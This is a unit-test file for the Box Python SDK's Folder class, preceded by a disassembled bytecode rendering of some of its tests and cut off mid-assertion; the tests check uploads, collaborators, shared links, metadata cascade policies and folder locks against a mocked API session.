LOAD_FAST test_folder LOAD_ATTR preflight_check LOAD_FAST new_file_size LOAD_FAST new_file_name LOAD_CONST ('size', 'name') CALL_FUNCTION STORE_FAST accelerator_url LOAD_FAST mock_box_session LOAD_ATTR options LOAD_ATTR assert_called_once_with LOAD_GLOBAL API LOAD_ATTR BASE_API_URL FORMAT_VALUE LOAD_CONST '/files/content' BUILD_STRING LOAD_CONST True LOAD_GLOBAL json LOAD_METHOD dumps LOAD_FAST new_file_size LOAD_FAST new_file_name LOAD_CONST 'id' LOAD_FAST mock_object_id BUILD_MAP LOAD_CONST ('size', 'name', 'parent') BUILD_CONST_KEY_MAP CALL_METHOD LOAD_CONST ('url', 'expect_json_response', 'data') CALL_FUNCTION POP_TOP LOAD_FAST accelerator_url LOAD_FAST mock_new_upload_accelerator_url COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_CONST None RETURN_VALUE LOAD_GLOBAL API LOAD_ATTR BASE_API_URL FORMAT_VALUE LOAD_CONST '/web_links' BUILD_STRING STORE_FAST expected_url LOAD_CONST 'Test WebLink' STORE_FAST expected_name LOAD_CONST 'Test Description' STORE_FAST description LOAD_CONST 'https://test.com' STORE_FAST test_web_link_url LOAD_CONST 'web_link' LOAD_CONST '42' LOAD_FAST test_web_link_url LOAD_FAST expected_name LOAD_FAST description LOAD_CONST ('type', 'id', 'url', 'name', 'description') BUILD_CONST_KEY_MAP LOAD_FAST mock_box_session LOAD_ATTR post LOAD_ATTR return_value LOAD_ATTR json STORE_ATTR return_value LOAD_FAST test_folder LOAD_METHOD create_web_link LOAD_FAST test_web_link_url LOAD_FAST expected_name LOAD_FAST description CALL_METHOD STORE_FAST new_web_link LOAD_FAST test_web_link_url LOAD_CONST 'id' LOAD_CONST '42' BUILD_MAP LOAD_FAST expected_name LOAD_FAST description LOAD_CONST ('url', 'parent', 'name', 'description') BUILD_CONST_KEY_MAP STORE_FAST data LOAD_FAST mock_box_session LOAD_ATTR post LOAD_ATTR assert_called_once_with LOAD_FAST expected_url LOAD_GLOBAL json LOAD_METHOD dumps LOAD_FAST data CALL_METHOD LOAD_CONST ('data',) CALL_FUNCTION POP_TOP LOAD_GLOBAL isinstance LOAD_FAST new_web_link LOAD_GLOBAL WebLink CALL_FUNCTION POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_FAST new_web_link LOAD_ATTR object_id LOAD_CONST '42' COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_FAST new_web_link LOAD_ATTR url LOAD_FAST test_web_link_url COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_FAST new_web_link LOAD_ATTR name LOAD_FAST expected_name COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_FAST new_web_link LOAD_ATTR description LOAD_FAST description COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_CONST None RETURN_VALUE LOAD_GLOBAL API LOAD_ATTR BASE_API_URL FORMAT_VALUE LOAD_CONST '/metadata_cascade_policies' BUILD_STRING STORE_FAST expected_url LOAD_CONST 'folder_id' LOAD_FAST test_folder LOAD_ATTR object_id BUILD_MAP STORE_FAST params LOAD_CONST '84113349-794d-445c-b93c-d8481b223434' LOAD_CONST 'metadata_cascade_policy' LOAD_CONST 'folder' LOAD_FAST test_folder LOAD_ATTR object_id LOAD_CONST ('type', 'id') BUILD_CONST_KEY_MAP LOAD_CONST 'enterprise_11111' LOAD_CONST 'testTemplate' LOAD_CONST ('id', 'type', 'parent', 'scope', 'templateKey') BUILD_CONST_KEY_MAP BUILD_LIST LOAD_CONST None LOAD_CONST None LOAD_CONST ('entries', 'next_marker', 'prev_marker') BUILD_CONST_KEY_MAP LOAD_FAST mock_box_session LOAD_ATTR get LOAD_ATTR return_value LOAD_ATTR json STORE_ATTR return_value LOAD_FAST test_folder LOAD_METHOD get_metadata_cascade_policies CALL_METHOD STORE_FAST cascade_policies LOAD_FAST cascade_policies LOAD_METHOD next CALL_METHOD STORE_FAST policy LOAD_FAST mock_box_session LOAD_ATTR get LOAD_ATTR assert_called_once_with LOAD_FAST expected_url LOAD_FAST params LOAD_CONST ('params',) CALL_FUNCTION POP_TOP LOAD_GLOBAL isinstance LOAD_FAST policy LOAD_GLOBAL MetadataCascadePolicy CALL_FUNCTION POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_FAST policy LOAD_ATTR object_id LOAD_CONST '84113349-794d-445c-b93c-d8481b223434' COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_FAST policy LOAD_ATTR scope LOAD_CONST 'enterprise_11111' COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_FAST policy LOAD_ATTR templateKey LOAD_CONST 'testTemplate' COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_FAST policy LOAD_ATTR _session LOAD_FAST mock_box_session COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_CONST None RETURN_VALUE LOAD_GLOBAL API LOAD_ATTR BASE_API_URL FORMAT_VALUE LOAD_CONST '/metadata_cascade_policies' BUILD_STRING STORE_FAST expected_url LOAD_FAST test_folder LOAD_ATTR object_id LOAD_FAST test_metadata_template LOAD_ATTR scope LOAD_FAST test_metadata_template LOAD_ATTR template_key LOAD_CONST ('folder_id', 'scope', 'templateKey') BUILD_CONST_KEY_MAP STORE_FAST expected_body LOAD_CONST '84113349-794d-445c-b93c-d8481b223434' LOAD_CONST 'metadata_cascade_policy' LOAD_CONST 'enterprise' LOAD_CONST '11111' LOAD_CONST ('type', 'id') BUILD_CONST_KEY_MAP LOAD_CONST 'folder' LOAD_FAST test_folder LOAD_ATTR object_id LOAD_CONST ('type', 'id') BUILD_CONST_KEY_MAP LOAD_FAST test_metadata_template LOAD_ATTR scope LOAD_FAST test_metadata_template LOAD_ATTR template_key LOAD_CONST ('id', 'type', 'owner_enterprise', 'parent', 'scope', 'templateKey') BUILD_CONST_KEY_MAP LOAD_FAST mock_box_session LOAD_ATTR post LOAD_ATTR return_value LOAD_ATTR json STORE_ATTR return_value LOAD_FAST test_folder LOAD_METHOD cascade_metadata LOAD_FAST test_metadata_template CALL_METHOD STORE_FAST cascade_policy LOAD_FAST mock_box_session LOAD_ATTR post LOAD_ATTR assert_called_once_with LOAD_FAST expected_url LOAD_GLOBAL json LOAD_METHOD dumps LOAD_FAST expected_body CALL_METHOD LOAD_CONST ('data',) CALL_FUNCTION POP_TOP LOAD_GLOBAL isinstance LOAD_FAST cascade_policy LOAD_GLOBAL MetadataCascadePolicy CALL_FUNCTION POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_FAST cascade_policy LOAD_ATTR object_id LOAD_CONST '84113349-794d-445c-b93c-d8481b223434' COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_FAST cascade_policy LOAD_ATTR owner_enterprise STORE_FAST enterprise LOAD_GLOBAL isinstance LOAD_FAST enterprise LOAD_GLOBAL Enterprise CALL_FUNCTION POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_FAST enterprise LOAD_ATTR object_id LOAD_CONST '11111' COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_FAST cascade_policy LOAD_ATTR parent STORE_FAST folder LOAD_GLOBAL isinstance LOAD_FAST folder LOAD_GLOBAL Folder CALL_FUNCTION POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_FAST folder LOAD_ATTR object_id LOAD_FAST test_folder LOAD_ATTR object_id COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_FAST cascade_policy LOAD_ATTR scope LOAD_FAST test_metadata_template LOAD_ATTR scope COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_FAST cascade_policy LOAD_ATTR templateKey LOAD_FAST test_metadata_template LOAD_ATTR template_key COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_CONST None RETURN_VALUE LOAD_GLOBAL API LOAD_ATTR BASE_API_URL FORMAT_VALUE LOAD_CONST '/folder_locks' BUILD_STRING STORE_FAST expected_url LOAD_CONST 'folder_id' LOAD_FAST test_folder LOAD_ATTR object_id BUILD_MAP STORE_FAST params LOAD_CONST '12345' LOAD_CONST '1' LOAD_CONST 'folder' LOAD_CONST '3' LOAD_CONST 'Contracts' LOAD_CONST ('id', 'etag', 'type', 'sequence_id', 'name') BUILD_CONST_KEY_MAP LOAD_CONST '12345678' LOAD_CONST 'folder_lock' LOAD_CONST '11446498' LOAD_CONST 'user' LOAD_CONST ('id', 'type') BUILD_CONST_KEY_MAP LOAD_CONST '2020-09-14T23:12:53Z' LOAD_CONST True LOAD_CONST True LOAD_CONST ('move', 'delete') BUILD_CONST_KEY_MAP LOAD_CONST 'freeze' LOAD_CONST ('folder', 'id', 'type', 'created_by', 'created_at', 'locked_operations', 'lock_type') BUILD_CONST_KEY_MAP BUILD_LIST LOAD_CONST 1000 LOAD_CONST None LOAD_CONST ('entries', 'limit', 'next_marker') BUILD_CONST_KEY_MAP LOAD_FAST mock_box_session LOAD_ATTR get LOAD_ATTR return_value LOAD_ATTR json STORE_ATTR return_value LOAD_FAST test_folder LOAD_METHOD get_locks CALL_METHOD STORE_FAST folder_locks LOAD_FAST folder_locks LOAD_METHOD next CALL_METHOD STORE_FAST lock LOAD_FAST mock_box_session LOAD_ATTR get LOAD_ATTR assert_called_once_with LOAD_FAST expected_url LOAD_FAST params LOAD_CONST ('params',) CALL_FUNCTION POP_TOP LOAD_FAST lock LOAD_ATTR id LOAD_CONST '12345678' COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_FAST lock LOAD_ATTR folder LOAD_ATTR id LOAD_CONST '12345' COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_FAST lock LOAD_ATTR locked_operations LOAD_CONST 'move' BINARY_SUBSCR POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_FAST lock LOAD_ATTR _session LOAD_FAST mock_box_session COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_CONST None RETURN_VALUE LOAD_GLOBAL API LOAD_ATTR BASE_API_URL FORMAT_VALUE LOAD_CONST '/folder_locks' BUILD_STRING STORE_FAST expected_url LOAD_CONST 'folder' LOAD_FAST test_folder LOAD_ATTR object_id LOAD_CONST ('type', 'id') BUILD_CONST_KEY_MAP LOAD_CONST True LOAD_CONST True LOAD_CONST ('move', 'delete') BUILD_CONST_KEY_MAP LOAD_CONST ('folder', 'locked_operations') BUILD_CONST_KEY_MAP STORE_FAST expected_body LOAD_CONST '12345678' LOAD_CONST 'folder_lock' LOAD_CONST '2020-09-14T23:12:53Z' LOAD_CONST '11446498' LOAD_CONST 'user' LOAD_CONST ('id', 'type') BUILD_CONST_KEY_MAP LOAD_CONST '12345' LOAD_CONST 'folder' LOAD_CONST '1' LOAD_CONST 'Contracts' LOAD_CONST '3' LOAD_CONST ('id', 'type', 'etag', 'name', 'sequence_id') BUILD_CONST_KEY_MAP LOAD_CONST 'freeze' LOAD_CONST True LOAD_CONST True LOAD_CONST ('delete', 'move') BUILD_CONST_KEY_MAP LOAD_CONST ('id', 'type', 'created_at', 'created_by', 'folder', 'lock_type', 'locked_operations') BUILD_CONST_KEY_MAP LOAD_FAST mock_box_session LOAD_ATTR post LOAD_ATTR return_value LOAD_ATTR json STORE_ATTR return_value LOAD_FAST test_folder LOAD_METHOD create_lock CALL_METHOD STORE_FAST lock LOAD_FAST mock_box_session LOAD_ATTR post LOAD_ATTR assert_called_once_with LOAD_FAST expected_url LOAD_GLOBAL json LOAD_METHOD dumps LOAD_FAST expected_body CALL_METHOD LOAD_CONST ('data',) CALL_FUNCTION POP_TOP LOAD_FAST lock LOAD_ATTR id LOAD_CONST '12345678' COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_FAST lock LOAD_ATTR folder LOAD_ATTR id LOAD_CONST '12345' COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_FAST lock LOAD_ATTR locked_operations LOAD_CONST 'move' BINARY_SUBSCR POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_FAST lock LOAD_ATTR _session LOAD_FAST mock_box_session COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_CONST None RETURN_VALUE LOAD_GLOBAL API LOAD_ATTR BASE_API_URL FORMAT_VALUE LOAD_CONST '/folder_locks/' LOAD_FAST test_folder_lock LOAD_ATTR object_id FORMAT_VALUE BUILD_STRING STORE_FAST expected_url LOAD_FAST test_folder_lock LOAD_METHOD delete CALL_METHOD POP_TOP LOAD_FAST mock_box_session LOAD_ATTR delete LOAD_ATTR assert_called_once_with LOAD_FAST expected_url LOAD_CONST False LOAD_CONST None BUILD_MAP LOAD_CONST ('expect_json_response', 'headers', 'params') CALL_FUNCTION POP_TOP LOAD_CONST None RETURN_VALUE
import json from datetime import datetime from io import BytesIO from os.path import basename from unittest.mock import mock_open, patch, Mock, MagicMock import pytest import pytz from boxsdk.config import API from boxsdk.exception import BoxAPIException from boxsdk.network.default_network import DefaultNetworkResponse from boxsdk.object.enterprise import Enterprise from boxsdk.object.file import File from boxsdk.object.metadata_cascade_policy import MetadataCascadePolicy from boxsdk.object.web_link import WebLink from boxsdk.object.collaboration import Collaboration, CollaborationRole from boxsdk.object.folder import Folder, FolderSyncState from boxsdk.object.upload_session import UploadSession from boxsdk.session.box_response import BoxResponse from boxsdk.util.chunked_uploader import ChunkedUploader from boxsdk.util.datetime_formatter import normalize_date_to_rfc3339_format from boxsdk.util.default_arg_value import SDK_VALUE_NOT_SET @pytest.fixture() def mock_new_upload_accelerator_url(): return "https://upload.box.com/api/2.0/files/content?upload_session_id=123" @pytest.fixture(scope="function") def mock_accelerator_response_for_new_uploads( make_mock_box_request, mock_new_upload_accelerator_url ): mock_response, _ = make_mock_box_request( response={ "upload_url": mock_new_upload_accelerator_url, "upload_token": None, } ) return mock_response @pytest.fixture() def mock_items(mock_box_session, mock_object_id): return [ {"type": "file", "id": mock_object_id}, {"type": "folder", "id": mock_object_id}, {"type": "file", "id": mock_object_id}, ], [ File(mock_box_session, mock_object_id), Folder(mock_box_session, mock_object_id), File(mock_box_session, mock_object_id), ] @pytest.fixture() def mock_items_response(mock_items): def get_response(limit, offset): items_json, items = mock_items entries = items_json[offset : limit + offset] mock_box_response = Mock(BoxResponse) mock_network_response = Mock(DefaultNetworkResponse) mock_box_response.network_response = mock_network_response mock_box_response.json.return_value = mock_json = { "entries": entries, "total_count": len(entries), "limit": limit, "offset": offset, } mock_box_response.content = json.dumps(mock_json).encode() mock_box_response.status_code = 200 mock_box_response.ok = True return mock_box_response, items[offset : limit + offset] return get_response def test_get_chunked_uploader( mock_box_session, mock_content_response, mock_file_path, test_folder ): expected_url = f"{API.UPLOAD_URL}/files/upload_sessions" mock_file_stream = BytesIO(mock_content_response.content) file_size = 197520 file_name = "file" part_size = 12345 total_parts = 16 num_parts_processed = 0 upload_session_type = "upload_session" upload_session_id = "F971964745A5CD0C001BBE4E58196BFD" expected_data = { "folder_id": test_folder.object_id, "file_size": file_size, "file_name": file_name, } mock_box_session.post.return_value.json.return_value = { "id": upload_session_id, "type": upload_session_type, "num_parts_processed": num_parts_processed, "total_parts": total_parts, "part_size": part_size, } with patch("os.stat") as stat: stat.return_value.st_size = file_size with patch("boxsdk.object.folder.open", return_value=mock_file_stream): chunked_uploader = test_folder.get_chunked_uploader(mock_file_path) mock_box_session.post.assert_called_once_with( expected_url, data=json.dumps(expected_data) ) upload_session = chunked_uploader._upload_session assert upload_session.part_size == part_size assert upload_session.total_parts == total_parts assert upload_session.num_parts_processed == num_parts_processed assert upload_session.type == upload_session_type assert upload_session.id == upload_session_id assert isinstance(chunked_uploader, ChunkedUploader) @pytest.fixture() def mock_items_response_with_marker(mock_items): def get_response(limit, offset): items_json, items = mock_items entries = items_json[offset : limit + offset] mock_box_response = Mock(BoxResponse) mock_network_response = Mock(DefaultNetworkResponse) mock_box_response.network_response = mock_network_response mock_box_response.json.return_value = mock_json = { "entries": entries, "total_count": len(entries), "limit": limit, "offset": offset, } mock_box_response.content = json.dumps(mock_json).encode() mock_box_response.status_code = 200 mock_box_response.ok = True return mock_box_response, items[offset : limit + offset] return get_response def _assert_collaborator_added( test_folder, collaborator, mock_box_session, mock_collab_response, notify, role, can_view_path, data, ): mock_box_session.post.return_value = mock_collab_response collaboration = test_folder.add_collaborator( collaborator, role, notify, can_view_path ) assert isinstance(collaboration, Collaboration) expected_url = API.BASE_API_URL + "/collaborations" params = {"notify": notify} mock_box_session.post.assert_called_once_with( expected_url, expect_json_response=True, data=data, params=params ) @pytest.mark.parametrize("accessible_by", ["user", "group", "email"]) @pytest.mark.parametrize("notify", [True, False]) @pytest.mark.parametrize("role", iter(CollaborationRole)) @pytest.mark.parametrize("can_view_path", [True, False]) def test_add_collaborator( test_folder, mock_user, mock_group, mock_box_session, mock_collab_response, accessible_by, notify, role, can_view_path, ): accessible_dict = { "user": (mock_user, {"id": mock_user.object_id, "type": "user"}), "group": (mock_group, {"id": mock_group.object_id, "type": "group"}), "email": ("[email protected]", {"login": "[email protected]", "type": "user"}), } invitee, mock_accessible_by = accessible_dict[accessible_by] body_params = { "item": {"id": test_folder.object_id, "type": "folder"}, "accessible_by": mock_accessible_by, "role": role, } if can_view_path: body_params["can_view_path"] = True data = json.dumps(body_params) _assert_collaborator_added( test_folder, invitee, mock_box_session, mock_collab_response, notify, role, can_view_path, data, ) def test_add_collaborator_raises_for_bad_type(test_folder): with pytest.raises(TypeError): test_folder.add_collaborator(b"byte string", CollaborationRole.EDITOR) @pytest.mark.parametrize("recursive", [True, False]) def test_delete_folder(test_folder, mock_box_session, recursive, etag, if_match_header): test_folder.delete(recursive=recursive, etag=etag) expected_url = test_folder.get_url() mock_box_session.delete.assert_called_once_with( expected_url, expect_json_response=False, params={"recursive": recursive}, headers=if_match_header, ) @pytest.mark.parametrize( "limit,offset,fields,sort,direction", [ (1, 0, None, None, None), (100, 0, ["foo", "bar"], None, None), (1, 1, None, None, None), (1, 0, None, "name", "ASC"), (1, 1, None, "date", "DESC"), ], ) def test_get_items( test_folder, mock_box_session, mock_items_response, limit, offset, fields, sort, direction, ): expected_url = test_folder.get_url("items") mock_box_session.get.return_value, expected_items = mock_items_response( limit, offset ) items = test_folder.get_items( limit, offset, fields=fields, sort=sort, direction=direction ) expected_params = {"limit": limit, "offset": offset} if fields: expected_params["fields"] = ",".join(fields) if sort: expected_params["sort"] = sort if direction: expected_params["direction"] = direction for actual, expected in zip(items, expected_items): assert actual == expected mock_box_session.get.assert_called_once_with(expected_url, params=expected_params) assert all(i.id == e.object_id for (i, e) in zip(items, expected_items)) @pytest.mark.parametrize( "content_created_at", ["1970-01-01T00:00:00+00:00", datetime(1970, 1, 1, 0, 0, 0, tzinfo=pytz.UTC), None], ) @pytest.mark.parametrize( "content_modified_at", [ "1970-01-01T11:11:11+00:00", datetime(1970, 1, 1, 11, 11, 11, tzinfo=pytz.UTC), None, ], ) @pytest.mark.parametrize("is_stream", (True, False)) def test_upload( test_folder, mock_box_session, mock_content_response, mock_upload_response, mock_file_path, mock_object_id, upload_using_accelerator, mock_accelerator_response_for_new_uploads, mock_new_upload_accelerator_url, upload_using_accelerator_fails, is_stream, etag, sha1, if_match_sha1_header, content_created_at, content_modified_at, ): file_description = "Test File Description" additional_attributes = {"attr": 123} expected_url = f"{API.UPLOAD_URL}/files/content" if upload_using_accelerator: if upload_using_accelerator_fails: mock_box_session.options.side_effect = BoxAPIException(400) else: mock_box_session.options.return_value = ( mock_accelerator_response_for_new_uploads ) expected_url = mock_new_upload_accelerator_url mock_box_session.post.return_value = mock_upload_response if is_stream: mock_file_stream = BytesIO(mock_content_response.content) new_file = test_folder.upload_stream( mock_file_stream, basename(mock_file_path), file_description, upload_using_accelerator=upload_using_accelerator, content_created_at=content_created_at, content_modified_at=content_modified_at, additional_attributes=additional_attributes, sha1=sha1, etag=etag, ) else: mock_file = mock_open(read_data=mock_content_response.content) mock_file_stream = mock_file.return_value with patch("boxsdk.object.folder.open", mock_file, create=True): new_file = test_folder.upload( mock_file_path, file_description=file_description, upload_using_accelerator=upload_using_accelerator, content_created_at=content_created_at, content_modified_at=content_modified_at, additional_attributes=additional_attributes, sha1=sha1, etag=etag, ) mock_files = {"file": ("unused", mock_file_stream)} attributes = { "name": basename(mock_file_path), "parent": {"id": mock_object_id}, "description": file_description, "content_created_at": normalize_date_to_rfc3339_format(content_created_at), "content_modified_at": normalize_date_to_rfc3339_format(content_modified_at), } attributes.update(additional_attributes) data = {"attributes": json.dumps(attributes)} mock_box_session.post.assert_called_once_with( expected_url, expect_json_response=False, files=mock_files, data=data, headers=if_match_sha1_header, ) assert isinstance(new_file, File) assert new_file.object_id == mock_object_id assert "id" in new_file assert new_file["id"] == mock_object_id assert new_file.description == file_description assert not hasattr(new_file, "entries") assert "entries" not in new_file @pytest.mark.parametrize("is_stream", (True, False)) def test_upload_combines_preflight_and_accelerator_calls_if_both_are_requested( test_folder, mock_box_session, mock_file_path, mock_content_response, mock_accelerator_response_for_new_uploads, is_stream, ): mock_box_session.options.return_value = mock_accelerator_response_for_new_uploads if is_stream: mock_file_stream = BytesIO(mock_content_response.content) test_folder.upload_stream( mock_file_stream, basename(mock_file_path), preflight_check=True, upload_using_accelerator=True, ) else: mock_file = mock_open(read_data=mock_content_response.content) with patch("boxsdk.object.folder.open", mock_file, create=True): test_folder.upload( mock_file_path, preflight_check=True, upload_using_accelerator=True, ) mock_box_session.options.assert_called_once() def test_create_upload_session(test_folder, mock_box_session): expected_url = f"{API.UPLOAD_URL}/files/upload_sessions" file_size = 197520 file_name = "test_file.pdf" upload_session_id = "F971964745A5CD0C001BBE4E58196BFD" upload_session_type = "upload_session" num_parts_processed = 0 total_parts = 16 part_size = 12345 expected_data = { "folder_id": test_folder.object_id, "file_size": file_size, "file_name": file_name, } mock_box_session.post.return_value.json.return_value = { "id": upload_session_id, "type": upload_session_type, "num_parts_processed": num_parts_processed, "total_parts": total_parts, "part_size": part_size, } upload_session = test_folder.create_upload_session(file_size, file_name) mock_box_session.post.assert_called_once_with( expected_url, data=json.dumps(expected_data) ) assert isinstance(upload_session, UploadSession) assert upload_session.part_size == part_size assert upload_session.total_parts == total_parts assert upload_session.num_parts_processed == num_parts_processed assert upload_session.type == upload_session_type assert upload_session.id == upload_session_id def test_upload_stream_does_preflight_check_if_specified( mock_box_session, test_folder, preflight_check, preflight_fails, file_size, ): with patch.object(Folder, "preflight_check", return_value=None): kwargs = {"file_stream": BytesIO(b"some bytes"), "file_name": "foo.txt"} mock_box_session.post = MagicMock() if preflight_check: kwargs["preflight_check"] = preflight_check kwargs["preflight_expected_size"] = file_size if preflight_fails: test_folder.preflight_check.side_effect = BoxAPIException(400) with pytest.raises(BoxAPIException): test_folder.upload_stream(**kwargs) else: test_folder.upload_stream(**kwargs) if preflight_check: assert test_folder.preflight_check.called_once_with( size=file_size, name="foo.txt" ) _assert_post_called_correctly(mock_box_session, preflight_fails) else: assert not test_folder.preflight_check.called def _assert_post_called_correctly(mock_box_session, preflight_fails): if preflight_fails: assert not mock_box_session.post.called else: assert mock_box_session.post.called @patch("boxsdk.object.folder.open", mock_open(read_data=b"some bytes"), create=True) def test_upload_does_preflight_check_if_specified( mock_box_session, test_folder, mock_file_path, preflight_check, preflight_fails, file_size, ): with patch.object(Folder, "preflight_check", return_value=None): kwargs = {"file_path": mock_file_path, "file_name": "foo.txt"} mock_box_session.post = MagicMock() if preflight_check: kwargs["preflight_check"] = preflight_check kwargs["preflight_expected_size"] = file_size if preflight_fails: test_folder.preflight_check.side_effect = BoxAPIException(400) with pytest.raises(BoxAPIException): test_folder.upload(**kwargs) else: test_folder.upload(**kwargs) if preflight_check: assert test_folder.preflight_check.called_once_with( size=file_size, name="foo.txt" ) _assert_post_called_correctly(mock_box_session, preflight_fails) else: assert not test_folder.preflight_check.called def test_create_subfolder( test_folder, mock_box_session, mock_object_id, mock_folder_response ): expected_url = test_folder.get_type_url() mock_box_session.post.return_value = mock_folder_response new_folder = test_folder.create_subfolder("name") data = json.dumps({"name": "name", "parent": {"id": mock_object_id}}) mock_box_session.post.assert_called_once_with(expected_url, data=data) assert isinstance(new_folder, Folder) assert new_folder.object_id == mock_object_id def test_get_shared_link( test_folder, mock_box_session, shared_link_access, shared_link_unshared_at, shared_link_password, shared_link_can_download, shared_link_can_preview, shared_link_vanity_name, test_url, etag, if_match_header, ): expected_url = test_folder.get_url() mock_box_session.put.return_value.json.return_value = { "type": test_folder.object_type, "id": test_folder.object_id, "shared_link": { "url": test_url, }, } expected_data = {"shared_link": {}} if shared_link_access is not None: expected_data["shared_link"]["access"] = shared_link_access if shared_link_unshared_at is not SDK_VALUE_NOT_SET: expected_data["shared_link"]["unshared_at"] = normalize_date_to_rfc3339_format( shared_link_unshared_at ) if shared_link_can_download is not None or shared_link_can_preview is not None: expected_data["shared_link"]["permissions"] = permissions = {} if shared_link_can_download is not None: permissions["can_download"] = shared_link_can_download if shared_link_can_preview is not None: permissions["can_preview"] = shared_link_can_preview if shared_link_password is not None: expected_data["shared_link"]["password"] = shared_link_password if shared_link_vanity_name is not None: expected_data["shared_link"]["vanity_name"] = shared_link_vanity_name url = test_folder.get_shared_link( etag=etag, access=shared_link_access, unshared_at=shared_link_unshared_at, password=shared_link_password, allow_download=shared_link_can_download, allow_preview=shared_link_can_preview, vanity_name=shared_link_vanity_name, ) mock_box_session.put.assert_called_once_with( expected_url, data=json.dumps(expected_data), headers=if_match_header, params=None, ) assert url == test_url @pytest.mark.parametrize("sync_state", iter(FolderSyncState)) def test_update_sync_state( test_folder, mock_folder_response, mock_box_session, sync_state ): expected_url = test_folder.get_url() mock_box_session.put.return_value = mock_folder_response data = {"sync_state": sync_state} update_response = test_folder.update_sync_state(sync_state) mock_box_session.put.assert_called_once_with( expected_url, data=json.dumps(data), params=None, headers=None ) assert isinstance(update_response, Folder) assert update_response.object_id == test_folder.object_id def test_preflight( test_folder, mock_object_id, mock_box_session, mock_accelerator_response_for_new_uploads, mock_new_upload_accelerator_url, ): new_file_size, new_file_name = 100, "foo.txt" mock_box_session.options.return_value = mock_accelerator_response_for_new_uploads accelerator_url = test_folder.preflight_check( size=new_file_size, name=new_file_name ) mock_box_session.options.assert_called_once_with( url=f"{API.BASE_API_URL}/files/content", expect_json_response=True, data=json.dumps( { "size": new_file_size, "name": new_file_name, "parent": {"id": mock_object_id}, } ), ) assert accelerator_url == mock_new_upload_accelerator_url def test_create_web_link_returns_the_correct_web_link_object( test_folder, mock_box_session ): expected_url = f"{API.BASE_API_URL}/web_links" expected_name = "Test WebLink" description = "Test Description" test_web_link_url = "https://test.com" mock_box_session.post.return_value.json.return_value = { "type": "web_link", "id": "42", "url": test_web_link_url, "name": expected_name, "description": description, } new_web_link = test_folder.create_web_link( test_web_link_url, expected_name, description ) data = { "url": test_web_link_url, "parent": { "id": "42", }, "name": expected_name, "description": description, } mock_box_session.post.assert_called_once_with( expected_url, data=json.dumps(data), ) assert isinstance(new_web_link, WebLink) assert new_web_link.object_id == "42" assert new_web_link.url == test_web_link_url assert new_web_link.name == expected_name assert new_web_link.description == description def test_get_metadata_cascade_policies(test_folder, mock_box_session): expected_url = f"{API.BASE_API_URL}/metadata_cascade_policies" params = {"folder_id": test_folder.object_id} mock_box_session.get.return_value.json.return_value = { "entries": [ { "id": "84113349-794d-445c-b93c-d8481b223434", "type": "metadata_cascade_policy", "parent": { "type": "folder", "id": test_folder.object_id, }, "scope": "enterprise_11111", "templateKey": "testTemplate", } ], "next_marker": None, "prev_marker": None, } cascade_policies = test_folder.get_metadata_cascade_policies() policy = cascade_policies.next() mock_box_session.get.assert_called_once_with(expected_url, params=params) assert isinstance(policy, MetadataCascadePolicy) assert policy.object_id == "84113349-794d-445c-b93c-d8481b223434" assert policy.scope == "enterprise_11111" assert policy.templateKey == "testTemplate" assert policy._session == mock_box_session def test_cascade_metadata(test_folder, mock_box_session, test_metadata_template): expected_url = f"{API.BASE_API_URL}/metadata_cascade_policies" expected_body = { "folder_id": test_folder.object_id, "scope": test_metadata_template.scope, "templateKey": test_metadata_template.template_key, } mock_box_session.post.return_value.json.return_value = { "id": "84113349-794d-445c-b93c-d8481b223434", "type": "metadata_cascade_policy", "owner_enterprise": { "type": "enterprise", "id": "11111", }, "parent": { "type": "folder", "id": test_folder.object_id, }, "scope": test_metadata_template.scope, "templateKey": test_metadata_template.template_key, } cascade_policy = test_folder.cascade_metadata(test_metadata_template) mock_box_session.post.assert_called_once_with( expected_url, data=json.dumps(expected_body) ) assert isinstance(cascade_policy, MetadataCascadePolicy) assert cascade_policy.object_id == "84113349-794d-445c-b93c-d8481b223434" enterprise = cascade_policy.owner_enterprise assert isinstance(enterprise, Enterprise) assert enterprise.object_id 